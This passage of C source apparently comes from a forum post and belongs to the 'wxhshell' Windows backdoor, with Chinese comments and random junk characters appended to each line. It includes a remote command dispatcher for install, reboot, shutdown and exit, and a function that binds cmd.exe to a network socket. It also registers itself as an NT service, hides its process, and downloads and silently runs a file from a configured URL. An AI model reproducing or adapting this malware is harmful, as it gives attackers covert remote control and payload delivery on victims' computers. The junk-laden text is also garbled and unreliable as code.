  // 帮助 uQ^r1 $#  
  case '?': { ^E)Kse.>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &P+7Um(  
    break; E%R^ kqqr  
  } >~;MQDU5*Y  
  // 安装 Kq`C5  
  case 'i': { y^7ol;t  
    if(Install()) {Vc%ga|E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dQ4VpR9|;  
    else %J*z!Fe8s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6} DGEHc1  
    break; CM}1:o<<N  
    } n:hHm,  
  // 卸载 TM|M#hMS  
  case 'r': { ?tWcx;h:>  
    if(Uninstall()) <A"T_Rk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Z-'@m  
    else ? o@5PL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?\GILB,  
    break; hJqLH ?Ri  
    } hXsd12  
  // 显示 wxhshell 所在路径 /~w!7n<7  
  case 'p': { fS08q9,S/  
    char svExeFile[MAX_PATH]; '8.r   
    strcpy(svExeFile,"\n\r"); >900I4]I  
      strcat(svExeFile,ExeFile); Cu5fp.OS7  
        send(wsh,svExeFile,strlen(svExeFile),0); 5r=xhOe`  
    break; s "KPTV  
    } ^CIO,I  
  // 重启 2$>"4 N  
  case 'b': { v/n4Lp$W^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \a:#e%]qz9  
    if(Boot(REBOOT)) &RRHmJI:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g7($lt>  
    else { sV8}Gv a  
    closesocket(wsh); XcOfQ s  
    ExitThread(0); AXUSU(hU  
    } _:hrm%^  
    break; W|IMnK-  
    } %LeQpbyOR  
  // 关机 ' `0kW_'  
  case 'd': { #) eI]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nz72w_  
    if(Boot(SHUTDOWN)) !.(Kpcrg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gp0H[-oF  
    else { bRSE"B  
    closesocket(wsh); \Tf$i(0q  
    ExitThread(0); t' )47k\  
    } i$~2pr  
    break; N=1zhI:VaQ  
    } AJk0jh\.j%  
  // 获取shell ao4"=My*G  
  case 's': { 6#A g^A  
    CmdShell(wsh); mR3)$!  
    closesocket(wsh); wul$lJ?tE  
    ExitThread(0); K? ;_T$^K  
    break; T&M*sydA  
  } g"k1O  
  // 退出 (G:A^z  
  case 'x': { _a;E>   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S6k R o^2  
    CloseIt(wsh); ]_Cm 5Z7  
    break; Y7W xV>E  
    } b2}>{Li0  
  // 离开 W62 $ HI  
  case 'q': { N_dHPa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uvN Lm]*  
    closesocket(wsh); XRZj+muTZ  
    WSACleanup(); 6f"jl  
    exit(1); l(c2 B  
    break; "Di27Rq  
        } !Tc jJ2T  
  } sK)fEx  
  } 20 <$f  
G`n|fuv  
  // 提示信息 9YpgzCx Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bW"bkA80  
} Wo&WO e  
  } =mVWfFL  
7_OC&hhL  
  return; ^!Y]l  
} MQs!+Z"m>  
#Tc]L<."  
// shell模块句柄 8fV.NCyE  
int CmdShell(SOCKET sock) o1Bn^ w  
{ 26SXuFJ@  
STARTUPINFO si; $w,?%i97  
ZeroMemory(&si,sizeof(si)); 4Zz%vY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 06ndW9>wD)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0c2O'&$au  
PROCESS_INFORMATION ProcessInfo; U0%T<6*H  
char cmdline[]="cmd"; [/h3HyZ.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9v\x&h  
  return 0; fQW1&lFT  
} F$L2bgQR?'  
1NHiW v  
// 自身启动模式 I5nxY)v  
int StartFromService(void) OyI?P_0u  
{ `,lm:x+(0  
typedef struct YmrrZ&]q  
{ d=` a-R0  
  DWORD ExitStatus; 968<yO]  
  DWORD PebBaseAddress; {6*$yLWK  
  DWORD AffinityMask; C bWz;$r  
  DWORD BasePriority; UB5CvM28  
  ULONG UniqueProcessId; NCrNlH IF  
  ULONG InheritedFromUniqueProcessId; Cz1Q@<)  
}   PROCESS_BASIC_INFORMATION; / @v V^!#1  
4>x$I9^Y!  
PROCNTQSIP NtQueryInformationProcess; /"(`oe<  
z3n273W>6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hgYi ,e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0V RV. Ml  
jHPkfwfAF  
  HANDLE             hProcess; kM:Z(Z7$  
  PROCESS_BASIC_INFORMATION pbi; Z\lJE>1  
,6J{-Iu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CP]nk0  
  if(NULL == hInst ) return 0; 7 XNZEi9o  
Ow#a|@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]_"c_QG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X!aC6gujOH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _4#Mdnh}[  
AvmI<U  
  if (!NtQueryInformationProcess) return 0; 'hoEdJ]t5  
Abw=x4d(i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V 4#bW  
  if(!hProcess) return 0; G '1K6  
3_DwqZ 'O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8O[br@h:5  
c-jE1y<  
  CloseHandle(hProcess); <E2n M,  
lU\v8!Ji  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y>J$OA:  
if(hProcess==NULL) return 0; T`zUgZ]  
[QwBSq8)  
HMODULE hMod; \CU-a`n  
char procName[255]; >Ut4INV  
unsigned long cbNeeded; ; b`kN;s  
|e QwI&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); euMJ c  
op2<~v0?  
  CloseHandle(hProcess); We`6# \Z X  
7DZZdH$Fm  
if(strstr(procName,"services")) return 1; // 以服务启动 nk*T x  
Hhzi(<e^  
  return 0; // 注册表启动 *^3&Y@  
} B*@0l:  
5y~ Srb?2  
// 主模块 -=InGm\Y  
int StartWxhshell(LPSTR lpCmdLine) , 3&D A  
{ 1CR)1H  
  SOCKET wsl; CJYpgSr  
BOOL val=TRUE; \Dx;AKs  
  int port=0; HhZ>/5'(  
  struct sockaddr_in door; ,%T sfB  
'Q dDXw5o  
  if(wscfg.ws_autoins) Install(); OTj J'  
BhzcimC)  
port=atoi(lpCmdLine); 4T>d%Tt+)  
N|2PW ~,  
if(port<=0) port=wscfg.ws_port; grxlGS~Q  
v.6K;TY.  
  WSADATA data; wZg~k\_lF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gSk0#Jt  
O +u? Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M,vCAZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ce<88dL  
  door.sin_family = AF_INET; xUF5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZA7b;{o [  
  door.sin_port = htons(port); W_L;^5Y;m  
Y`*h#{|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {nj`>  
closesocket(wsl); <u}[_  
return 1; 3kavzB[  
} v05$"Ig  
_Wtwh0[r*  
  if(listen(wsl,2) == INVALID_SOCKET) { PVi0|  
closesocket(wsl); <xlyk/  
return 1; Tl L,dPM  
} FL[,?RU?2  
  Wxhshell(wsl); >aAsUL5W  
  WSACleanup(); tx$`1KA  
b?j\YX[e  
return 0; P]0/S  
aeE~[m  
} `hDH7u!U.  
#2dH2k\F  
// 以NT服务方式启动 .k"unclT0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6(/*E=bOKV  
{ Sg< B+u\\  
DWORD   status = 0; *o=[p2d"X  
  DWORD   specificError = 0xfffffff; T2_b5j3i  
";Q}Gs}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 48)D%867.;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 629ogJo8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e3k58  
  serviceStatus.dwWin32ExitCode     = 0; J|u_45<  
  serviceStatus.dwServiceSpecificExitCode = 0; M%bD7naBq  
  serviceStatus.dwCheckPoint       = 0; kA/yL]m^S  
  serviceStatus.dwWaitHint       = 0; l^2m7 7)  
-VvN1G6.x?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fuT Bh6w&  
  if (hServiceStatusHandle==0) return; P@0J!  
g'NR\<6A  
status = GetLastError(); l\37/Z  
  if (status!=NO_ERROR) MxqIB(5k  
{ y9~:[jB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <q`|,mc  
    serviceStatus.dwCheckPoint       = 0; ,7)z avA  
    serviceStatus.dwWaitHint       = 0; Ud_0{%@  
    serviceStatus.dwWin32ExitCode     = status; xk7VuS *  
    serviceStatus.dwServiceSpecificExitCode = specificError; _Mi*Fvj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); > .K  
    return; lv#L+}T  
  } ?(Xy 2%v  
HHL7z,%f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SNC)cq+{  
  serviceStatus.dwCheckPoint       = 0; K.Y.K$NjP{  
  serviceStatus.dwWaitHint       = 0; y?UB?2 VN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A&{eC C  
} x$z>.4  
'u9y\vUy  
// 处理NT服务事件,比如:启动、停止 9?uU%9r5P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6$t+Q~2G!  
{ rQ(u@u;  
switch(fdwControl) De\Ocxx  
{  63VgQ  
case SERVICE_CONTROL_STOP: IeAi'  
  serviceStatus.dwWin32ExitCode = 0; C3KAQ U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n2Y a'YF  
  serviceStatus.dwCheckPoint   = 0; y>c Yw!  
  serviceStatus.dwWaitHint     = 0; y m?uj4I{  
  { drJUfsxV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); usw(]CnH  
  } !O4)Y M  
  return; sY* qf=  
case SERVICE_CONTROL_PAUSE: h#Z~x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cvC 7#i[G  
  break; @[#)zO  
case SERVICE_CONTROL_CONTINUE: esd9N'.Q*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e 3TKg  
  break; \"9ysePI  
case SERVICE_CONTROL_INTERROGATE: CYdYa|  
  break; C?]+(P  
}; 7>3+]njw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %<1_\N7  
} 5}2148  
YoSBS   
// 标准应用程序主函数 X$=/H 6R5Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]+Z,HY@;-  
{ >6|Xvtf  
%?J-0  
// 获取操作系统版本 &X,6v  
OsIsNt=GetOsVer(); B;t{IYhq{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (d['f]S+&  
Wu)An  
  // 从命令行安装 U%)*I~9  
  if(strpbrk(lpCmdLine,"iI")) Install(); [j?<&^SW  
lt%9Zgr[u  
  // 下载执行文件 ctR ^"'u  
if(wscfg.ws_downexe) { 7)BK&kpVr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fr&K^je\  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sc:)H2k`$  
} 1cV0TUrz  
Y]Zp[!  
if(!OsIsNt) { UPkc-^BN  
// 如果时win9x,隐藏进程并且设置为注册表启动 bQHJ}aCi  
HideProc(); s qO$ka{  
StartWxhshell(lpCmdLine); Y ^5RM  
} 8 -9<r  
else B3p79 j  
  if(StartFromService()) GmZ2a-M  
  // 以服务方式启动 JykNEMB#  
  StartServiceCtrlDispatcher(DispatchTable); < Q6  
else b<BkI""b  
  // 普通方式启动 eIbz`|%3  
  StartWxhshell(lpCmdLine); 8COGe=+o  
>[<f\BN|  
return 0; ^ R3g7 DG  
}
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只看该作者 1 发表于: 2006-10-10
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